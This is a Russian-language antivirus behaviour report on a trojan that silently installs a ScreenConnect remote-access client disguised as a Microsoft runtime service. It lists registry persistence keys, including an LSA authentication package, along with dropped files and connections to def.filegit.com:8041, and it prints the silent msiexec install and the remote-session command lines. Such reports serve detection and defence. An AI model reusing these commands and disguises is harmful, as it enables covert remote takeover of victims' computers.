Trojan.Siggen32.63596

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Classes\sc-b00c9eaff487621d\shell\open\command] '' = '"%ProgramFiles(x86)%\MSCppRuntime9\ScreenConnect.WindowsClient.exe" "%1"'
[HKLM\SYSTEM\CurrentControlSet\Control\Lsa] 'Authentication Packages' = 'msv1_0\n%ProgramFiles(x86)%\MSCppRuntime9\ScreenConnect.WindowsAuthenticationPackage.dll'

Устанавливает следующие настройки сервисов

[HKLM\SYSTEM\CurrentControlSet\Services\MicrosoftVCAgent_x64] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\MicrosoftVCAgent_x64] 'ImagePath' = '"%ProgramFiles(x86)%\MSCppRuntime9\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=def.filegit.com&p=8041&s=65...

Создает следующие сервисы

'MicrosoftVCAgent_x64' %ProgramFiles(x86)%\MSCppRuntime9\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=def.filegit.com&p=8041&s=65b1d9e0-c27c-4ac8-8415-3e5a8c26bde5&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmP...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\dxsetup_dbg.log
%TEMP%\004abc04.exe
%TEMP%\dxupdate_3872.msi
%TEMP%\nsw7495.tmp
%TEMP%\nsb74b5.tmp\system.dll
%TEMP%\nsb74b5.tmp\modern-header.bmp
%TEMP%\nsb74b5.tmp\modern-wizard.bmp
%TEMP%\nsb74b5.tmp\nsdialogs.dll
%WINDIR%\installer\msi8405.tmp-\screenconnect.installeractions.dll
%WINDIR%\installer\msi8405.tmp-\microsoft.deployment.windowsinstaller.dll
%WINDIR%\installer\msi8405.tmp-\microsoft.deployment.windowsinstaller.package.dll
%WINDIR%\installer\msi8405.tmp-\screenconnect.core.dll
%WINDIR%\installer\msi8405.tmp-\screenconnect.windows.dll
%WINDIR%\installer\msi8405.tmp-\microsoft.deployment.compression.dll
%WINDIR%\installer\msi8405.tmp-\microsoft.deployment.compression.cab.dll
%WINDIR%\installer\msi8405.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~df66d607f57928f291.tmp
%WINDIR%\installer\sourcehash{dd8720a7-38dc-2af0-4295-8fe6a37d3f07}
%WINDIR%\temp\~dfc5a9c598aad4f6cb.tmp
%WINDIR%\temp\~df93e5caa51b7728c0.tmp
%WINDIR%\temp\~df2346cd379f708ba4.tmp
%ProgramFiles(x86)%\mscppruntime9\screenconnect.client.dll
%ProgramFiles(x86)%\mscppruntime9\screenconnect.clientservice.dll
%ProgramFiles(x86)%\mscppruntime9\screenconnect.core.dll
%ProgramFiles(x86)%\mscppruntime9\screenconnect.windows.dll
%ProgramFiles(x86)%\mscppruntime9\screenconnect.windowsauthenticationpackage.dll
%ProgramFiles(x86)%\mscppruntime9\screenconnect.windowsbackstageshell.exe
%ProgramFiles(x86)%\mscppruntime9\screenconnect.windowsbackstageshell.exe.config
%ProgramFiles(x86)%\mscppruntime9\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\mscppruntime9\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\mscppruntime9\screenconnect.windowscredentialprovider.dll
%ProgramFiles(x86)%\mscppruntime9\screenconnect.windowsfilemanager.exe
%ProgramFiles(x86)%\mscppruntime9\screenconnect.windowsfilemanager.exe.config
%ProgramFiles(x86)%\mscppruntime9\screenconnect.clientservice.exe
%ProgramFiles(x86)%\mscppruntime9\app.config
%ProgramFiles(x86)%\mscppruntime9\client.en-us.resources
%ProgramFiles(x86)%\mscppruntime9\client.override.en-us.resources
%ProgramFiles(x86)%\mscppruntime9\client.override.resources
%ProgramFiles(x86)%\mscppruntime9\client.resources
%ProgramFiles(x86)%\mscppruntime9\system.config
%WINDIR%\installer\{dd8720a7-38dc-2af0-4295-8fe6a37d3f07}\defaulticon
%WINDIR%\temp\~df0d3789ff88adf876.tmp
%WINDIR%\temp\~dfdcdf36a4c0196642.tmp
%WINDIR%\temp\~df01b0b573935a461e.tmp
%WINDIR%\temp\~dff76a1088edbd1a5a.tmp
%WINDIR%\temp\~dfea83c51ff23c56bb.tmp
%WINDIR%\temp\~dfd6fe0880f2a3f71b.tmp
%WINDIR%\temp\~df811d490bc247d841.tmp
%WINDIR%\temp\~df36c0791c12ca6255.tmp
%WINDIR%\syswow64\config\systemprofile\appdata\local\mscppruntime9\u54sg3wx.newcfg
%TEMP%\content\5480-1836-screenconnect.windowsclient.exe-21-15-59-409.dump
%TEMP%\content\5480-1836-screenconnect.windowsclient.exe-21-15-59-622.dump
%TEMP%\content\5480-1836-screenconnect.windowsclient.exe-21-15-59-721.dump
%WINDIR%\temp\content\2020-2356-screenconnect.windowsclient.exe-21-16-03-444.dump
%WINDIR%\temp\content\2020-2356-screenconnect.windowsclient.exe-21-16-03-577.dump
%WINDIR%\temp\content\2020-2356-screenconnect.windowsclient.exe-21-16-03-579.dump

Удаляет файлы, которые сам же создал

%WINDIR%\installer\msi8405.tmp-\customaction.config
%WINDIR%\installer\msi8405.tmp-\microsoft.deployment.compression.cab.dll
%WINDIR%\installer\msi8405.tmp-\microsoft.deployment.compression.dll
%WINDIR%\installer\msi8405.tmp-\microsoft.deployment.windowsinstaller.dll
%WINDIR%\installer\msi8405.tmp-\microsoft.deployment.windowsinstaller.package.dll
%WINDIR%\installer\msi8405.tmp-\screenconnect.core.dll
%WINDIR%\installer\msi8405.tmp-\screenconnect.installeractions.dll
%WINDIR%\installer\msi8405.tmp-\screenconnect.windows.dll

Перемещает следующие файлы

%WINDIR%\syswow64\config\systemprofile\appdata\local\mscppruntime9\u54sg3wx.newcfg в %WINDIR%\syswow64\config\systemprofile\appdata\local\mscppruntime9\user.config

Сетевая активность

Подключается к

'de#.#ilegit.com':8041

TCP

Другие

'de#.#ilegit.com':8041

UDP

DNS ASK de#.#ilegit.com

Другое

Создает и запускает на исполнение

'%TEMP%\004abc04.exe'
'%ProgramFiles(x86)%\mscppruntime9\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=def.filegit.com&p=8041&s=65b1d9e0-c27c-4ac8-8415-3e5a8c26bde5&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU...
'%ProgramFiles(x86)%\mscppruntime9\screenconnect.windowsclient.exe' "RunRole" "a4efceeb-1c21-403e-87fa-bfe5a6f3bc6f" "User"
'%ProgramFiles(x86)%\mscppruntime9\screenconnect.windowsclient.exe' "RunRole" "5b4bb6cb-0000-4435-89ff-114f84b7d29a" "System"

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c msiexec.exe /i %TEMP%\DXUPDA~1.MSI /qn REBOOT=ReallySuppress & del /f /q %TEMP%\DXUPDA~1.MSI
'%WINDIR%\syswow64\msiexec.exe' /i %TEMP%\DXUPDA~1.MSI /qn REBOOT=ReallySuppress
'%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\Installer\MSI8405.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_886656 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments